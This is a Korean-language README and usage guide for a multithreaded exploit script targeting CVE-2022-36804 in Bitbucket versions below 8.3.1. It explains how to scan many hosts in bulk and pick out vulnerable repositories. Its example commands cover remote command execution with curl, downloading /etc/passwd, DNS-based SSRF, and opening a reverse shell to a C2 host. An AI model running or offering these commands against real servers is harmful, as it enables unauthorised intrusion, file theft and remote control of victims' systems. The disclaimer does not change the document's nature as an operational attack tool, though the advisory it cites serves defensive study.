
BitBucket <8.3.1 버전에 영향을 주는 CVE-2022-36804용 멀티스레드 익스플로잇 스크립트
대부분의 BitBucket 버전 <8.3.1에 영향을 주는 CVE-2022-36804용 멀티스레드 익스플로잇 스크립트입니다. 전체 보안 권고는 여기 https://jira.atlassian.com/browse/BSERV-13438 에서 확인하세요.
발견에 대한 모든 공로는 TheGrandPew에게 있습니다.
이 스크립트는 Bitbucket 인스턴스에 있는 공개 저장소를 자동으로 감지한 다음, 점검하거나 취약점 공격을 수행할 무작위 저장소를 선택합니다. 공개 저장소가 없는 경우, 알려진 취약 인스턴스를 익스플로잇하려면 유효한 'BITBUCKETSESSIONID' 쿠키가 필요합니다.
이 PoC는 여러 입력 호스트를 받아 취약한 호스트를 stdout으로 파이프하여, 결과를 다른 도구로 처리할 수 있도록 설계되었습니다.
악의적인 목적으로 사용하지 마십시오.
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
[--skip-check] [-t THREADS] [-v]
repos [repos ...]
CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1
optional arguments:
-h, --help show this help message and exit
required arguments:
repos Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on
optional arguments:
--auth-cookie AUTH_COOKIE
Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
--proxy PROXY HTTP Proxy: <http/https>://<ip>:<port>
-e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
Exploit to perform
--cmd CMD Command to execute for the 'rce' exploit (curl http://example.com)
--knary KNARY Knary to respond too via DNS for the 'ssrf' exploit
--server-file SERVER_FILE
Server file to download for the 'download' exploit (/etc/passwd)
--host HOST Hostname or IP address of c2 for the 'rev_shell' exploit
--port PORT Port of the c2 for the 'rev_shell' exploit
--skip-check Skip vulnerability checking stage
-t THREADS, --threads THREADS
Worker Threads
-v, --verbose Increase output verbosity level
단일 호스트
CVE-2022-36804.py http://bitbucket.local:7990/여러 호스트를 입력받고 취약한 호스트와 익스플로잇된 저장소를 파일로 파이핑
CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts
CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/
지정된 knary에 DNS 요청을 수행합니다.
CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/
대상 파일
/etc/passwd로 저장소를 다운로드합니다. 압축된 저장소는 임의의 파일 이름으로 저장됩니다.
CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/
CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/